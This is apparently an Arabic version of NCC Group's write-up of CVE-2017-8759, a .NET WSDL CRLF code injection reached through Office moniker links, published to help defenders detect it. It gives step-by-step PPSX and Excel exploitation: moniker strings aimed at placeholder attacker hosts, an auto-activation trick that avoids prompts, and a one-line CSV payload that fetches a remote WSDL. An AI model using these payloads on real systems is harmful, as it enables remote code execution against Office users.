nccgroup/cve-2017-8759تحليل مجموعة NCC واستغلالها لثغرة CVE-2017-8759 مع مزيد من التحسينات
يحتوي هذا المستودع على نماذج استغلال لثغرة CVE-2017-8759 الخاصة بـ Microsoft PowerPoint، إلى جانب وصف لكيفية استغلال ثغرات مماثلة، أو إمكانية استغلالها، باستخدام التقنيات نفسها.
الهدف من نشر هذا المستودع هو إلقاء الضوء على تقنيات استغلال بديلة قد لا يكون المدافعون على دراية بها حاليًا. من خلال تسليط الضوء على هذه التقنيات البديلة، نأمل في تمكين المدافعين من تطبيق كشف قوي وتجنب كل من النتائج الإيجابية الخاطئة (في حالة التحديد الخاطئ لاستغلالات moniker الأخرى على أنها CVE-2017-0199)، والنتائج السلبية الخاطئة (حيث يتم التركيز على كشوفات RTF فقط).
في شهر أبريل، عندما سمعت خبر استغلال ثغرة جديدة غير مصححة في البرية، سعيت إلى إعادة إنشاء الاستغلال بحيث يمكن إنشاء قواعد كشف مسبقًا قبل أن تصبح الثغرة علنية. ومع ذلك، في ذلك الوقت، لم يكن لدي سوى وصف الثغرة من منشورَي مدونتَي FireEye وMcAfee. بسبب نقص التفاصيل العامة، هذا ما قادني في النهاية إلى استغلال الثغرة باستخدام طريقة مختلفة تمامًا (كما اتضح لاحقًا) عن تلك التي استخدمها استغلال "RTF URL Moniker" الذي شوهد في البرية.
بعد حوالي شهر، أبرز Haifei Li الثغرة الثانية (المعروفة أيضًا باسم "PPSX Script Moniker") في محاضرته في SyScan360، والتي كان قد حددها وأبلغ عنها في يناير 2017. تم إصلاح هذه الثغرة أيضًا ضمن نفس تصحيح CVE-2017-0199، لكن تم استغلالها (سواء من قبل المؤلف أو لاحقًا في البرية) باستخدام تنسيق ملف PPSX. عند هذه النقطة، ما زلت غير مطلع على أي هجمات في البرية استخدمت ثغرة URL moniker عبر PPSX - ومع ذلك، نظرًا لإصلاح كلتا الثغريتين تحت نفس CVE، كان (وما زال) هناك بعض الالتباس حول كشف هذه الاستغلالات (المزيد عن هذا لاحقًا).
وبالتقدم سريعًا إلى سبتمبر 2017، اكتشفت FireEye ثغرة أخرى تستخدم تنسيق RTF في Microsoft Word. دفعني هذا إلى إعادة النظر في استغلال "PPSX URL Moniker" السابق الخاص بي للتحقيق فيما إذا كانت ثغرة "SOAP moniker" الجديدة قابلة للاستغلال أيضًا باستخدام تقنية PPSX نفسها.
كما ذُكر أعلاه، كانت الثغرة السابقة (CVE-2017-0199) في الواقع ثغرتين منفصلتين، قامت Microsoft بتصحيحهما تحت نفس رقم CVE. الأولى (المعروفة أيضًا باسم ثغرة "URL moniker") تم استغلالها باستخدام RTF، بينما الثانية (المعروفة أيضًا باسم ثغرة "script moniker") استخدمت في الواقع تقنية مختلفة تمامًا وتم استغلالها باستخدام تنسيق OOXML، وتحديدًا PPSX.
كما ذُكر سابقًا أيضًا، لا تقتصر تقنية OOXML على ثغرة script moniker ويمكن استخدامها لاستغلال ثغرات "URL moniker" و"Script moniker" و"SOAP moniker" الجديدة.
الاستغلال في OOXML سهل إلى حد ما ويعتمد على بعض الحيل من أجل جعل الكائن الضعيف ينشط تلقائيًا. أولاً سأغطي استغلال URL moniker، ثم سأشرح كيف يمكن تحديثه ليعمل مع كل من script وsoap moniker (وربما المزيد في المستقبل).
أولاً، يجب تضمين رابط إلى ملف (يُشار إليه باسم StdOleLink أو OLE2Link). استخدمت رابطًا إلى ملف PowerPoint في استغلالي - كما هو موضح أدناه. هذا مطلوب لاحقًا من أجل تفعيل moniker.
بمجرد وضع الرابط، يجب تعديل المسار ليحتوي على سلسلة moniker. في حالة ثغرة "URL moniker"، الأمر ببساطة هو إضافة عنوان URL مباشرة إلى ملف HTA (أي "http://attacker.com/evil.hta". بالنسبة لإصدار Script moniker يمكنك استخدام السلسلة "script:https://attacker.com/evil.sct". يتم تخزين مسار الملف إلى الكائن المرتبط في الموقع التالي:
ppt\slides\_rels\slide1.xml.rels
ببساطة، تغيير هذا إلى سلسلة moniker يكفي لتفعيل الثغرة عند تنشيط الكائن المرتبط. ومع ذلك، لا يحدث هذا تلقائيًا إلا إذا استخدمت حيلة أخرى.
من أجل تنشيط الكائن تلقائيًا، يمكنك استخدام ما يُشار إليه باسم "OLE Verb". ببساطة، هذا هو ما يجعل PowerPoint "ينشّط" الكائن، من خلال استدعاء الطريقة IMoniker::BindToObject()، مما يؤدي في النهاية إلى تنفيذ الكود الخاص بك (اعتمادًا على moniker، يتم اتخاذ مسارات مختلفة بعد ذلك).
لاستخدام OLE Verb، ما عليك سوى تحديد الكائن المضمّن والانتقال إلى:
Animations -> Add Animation -> OLE Action Verbs -> Open
بمجرد إنشاء حركة OLE Verb، يمكنك تحديد "Start: with previous" لضمان تنشيط الكائن فور بدء عرض الشرائح.
عند هذه النقطة، إذا اخترت حفظ المستند بتنسيق PPTX وفتحه، فسيُعرض عليك طلب لتحديث الروابط. هذا غير مرغوب فيه من سيناريو الاستغلال.
للتغلب على ذلك، يمكنك ببساطة حفظ الملف كملف PPSX (عرض تقديمي لـ PowerPoint) بدلاً من ذلك. سيؤدي هذا إلى بدء عرض الشرائح تلقائيًا عند الفتح (وبالتالي تشغيل OLE Verb لتنفيذ الكود الخاص بك).
كما هو موصوف في منشور مدونة FireEye، تكمن الثغرة في الواقع في إطار عمل .NET وليس في Office نفسه. ويرجع ذلك إلى مشكلة حقن الكود عند تحليل ملف WSDL يحتوي على تعريفات عناوين متعددة. إذا تم حقن تسلسل CRLF، فمن الممكن إضافة كود تعسفي إلى ملف c# الذي تم إنشاؤه، والذي يتم تجميعه لاحقًا في DLL وتحميله بواسطة تطبيق Office.
الثغرة نفسها موجودة داخل الطريقة IsValidUrl في الصف WsdlParser من System.Runtime.Remoting. قبل تصحيح CVE-2017-8759، كانت هذه الطريقة تفشل في التحقق من أحرف CRLF وتعيد ببساطة السلسلة غير المنقاة (بعد التأكد من أن السلسلة مقتبسة بشكل صحيح)، والتي تتم كتابتها بعد ذلك إلى ملف .cs ليتم تجميعه بواسطة csc.exe. هذا يعني أنه إذا مرر المهاجم عنوان URL يحتوي على \r\n، فيمكنه حقن كود تعسفي في ملف C# الذي تم إنشاؤه. سبب نجاح حقن CRLF هو أنه عادةً، عند تحليل ملف WSDL يحتوي على تعريفات عناوين متعددة، تحاول الطريقة PrintClientProxy التعليق على التعريفات اللاحقة كما هو موضح أدناه.
IsValidUrl قبل التصحيح:
PrintClientProxy:
المشكلة هنا هي أن IsValidUrl لا تزال تُستدعى على عنوان URL الثانوي قبل إلحاقه بالسطر المعلّق. إذا أضاف المهاجم أحرف CRLF في تعريف عنوان ثانٍ، فعندما يتم تحليل الكود بواسطة IsValidUrl، يمكنه الخروج من السطر المعلّق وحقن كود C# خاص به.
بعد تصحيح CVE-2017-8759، يحتوي الصف WsdlParser الآن على طريقة جديدة باسم TransliterateString. الآن عند استدعاء IsValidUrl، يتحقق الكود أولاً مما إذا كان المتغير المنطقي AppSettings.AllowUnsanitizedWSDLUrls مضبوطًا. إذا تم ضبطه على true، يسلك الكود المسار نفسه كما قبل التصحيح (مما يسمح بحقن CRLF). ومع ذلك، إذا تم ضبطه على false، يتم استدعاء الطريقة الجديدة TransliterateString. هذه الطريقة الجديدة ببساطة ترميز أي أحرف غير أبجدية كـ unicode مُهرَّب، مما يضمن عدم إمكانية حقن أحرف الأسطر الجديدة.
IsValidUrl بعد التصحيح:
TransliterateString:
لتوضيح التصحيح، أنشأت أداة اختبار بسيطة في C# وحاولت تحليل سلسلة تحتوي على أحرف CRLF. الناتج موضح أدناه. لاحظ أنه عند استدعاء الطريقة المصححة و ضبط AllowUnsanitizedWSDLUrls على false، يتم الآن ترميز السلسلة.
عند التحقيق في كيفية استغلال هذه الثغرة، أنشأت أداة اختبار من أجل اختبار تنفيذ الكود خارج Office. استخدمت JScript مع الطريقة GetObject لهذا الغرض، ومع ذلك يمكنك استخدام soapsuds.exe. تم اختبار ذلك مع ملف WSDL من عينة البرمجية الخبيثة للتحقيق في كيفية عملها وتأكيد الثغرة.
بمجرد أن جعلت الاستغلال يعمل مع GetObject، قمت ببساطة بتعديل ملف rels كما هو موضح سابقًا ليشمل soap moniker، بالشكل "soap:wsdl=http://attacker.com/evil.whatever".
بعد أن أنشأت الاستغلال، قمت برفعه إلى Virus Total (كما فعلت مع العينات السابقة) وكانت النتائج مفاجئة. اتضح أنه تم اكتشافه بواسطة محرك مكافحة فيروسات واحد فقط، وتم تحديده بشكل خاطئ على أنه CVE-2017-0199. عينة أخرى رفعتها بدت أيضًا موسومة على أنها CVE-2017-0199. يبدو هذا مفهومًا بسبب أوجه التشابه التي شاركها مع الاستغلال (الاستغلالات) السابق(ة)، ومع ذلك هناك بعض القلق من أن هذا قد يؤدي إلى ارتباك، أو في أسوأ الحالات، يؤدي إلى تفويت استغلالات moniker المكتشفة حديثًا بسبب اعتبارها ثغرة قديمة مصححة.
أولاً، قم بتشغيل خادم ويب محليًا، في نفس المجلد الذي يحتوي على ملفات الاستغلال:
python -m SimpleHTTPServer 80
الآن افتح ملف exploit.ppsx. إذا سارت الأمور على ما يرام، يجب أن ترى PowerPoint يجلب كلاً من logo.png وw00t.hta من خادم الملفات المحلي، وسيتم تشغيل calc.exe.
بعد النشر عن استغلال PPSX على Twitter، تواصل معي Jacob Soo واقترح عليّ تجربة استغلال الثغرة في Microsoft Excel. جربتها، وكما توقع، كان محقًا - تمكنت من تشغيل calc.exe مع موجه واحد فقط.
هذا أمر مثير للاهتمام، كما أُشير سابقًا - ملفات CSV (وملفات SLK) لا تؤدي إلى تشغيل الوضع المحمي. هذا يعني أن عدد المطالبات المعروضة على المستخدم عند إرسال ملف RTF أو PPSX أو CSV/SLK من موقع إنترنت هو نفسه تمامًا (بسبب أن الأول يؤدي إلى تشغيل العرض المحمي). علاوة على ذلك، نظرًا لكونها نصًا عاديًا وغير ضارة نسبيًا عادةً، غالبًا ما تمر ملفات CSV عبر دفاعات المحيط (مثل الوكلاء أو عوامل تصفية البريد العشوائي).
استغلال هذه الثغرة في Excel ببساطة هو تضمين رابط إلى ملف WSDL. لاحظ أنه في المثال أدناه، نستخدم ProgID "GC" (ببساطة لأنه الأقصر الذي وجدته)، ومع ذلك يمكن أن يكون أي ProgID صالح لتفعيل moniker.
=GC|'soap:wsdl=https://git.io/v5DMF '!''''
حفظ السلسلة أعلاه كملف CSV كافٍ لاستغلال الثغرة - إنها قصيرة بما يكفي للتغريد بها! علاوة على ذلك، نظرًا لقصرها، يصعب (على الرغم من أنه ليس مستحيلًا بوضوح) إنشاء توقيعات كشف، وبالتالي أشعر أنه من الجدير تسليط الضوء عليها للمدافعين حتى يمكن تحديد الهجمات القائمة على Excel في المستقبل.
أصدرت Microsoft تصحيحًا لهذه الثغرة في 12/09/2017.
تم نشر بعض قواعد Yara لمتغيرات CVE-2017-8759 بواسطة Florian Roth و Security Doggo.
كما قمت بإنشاء: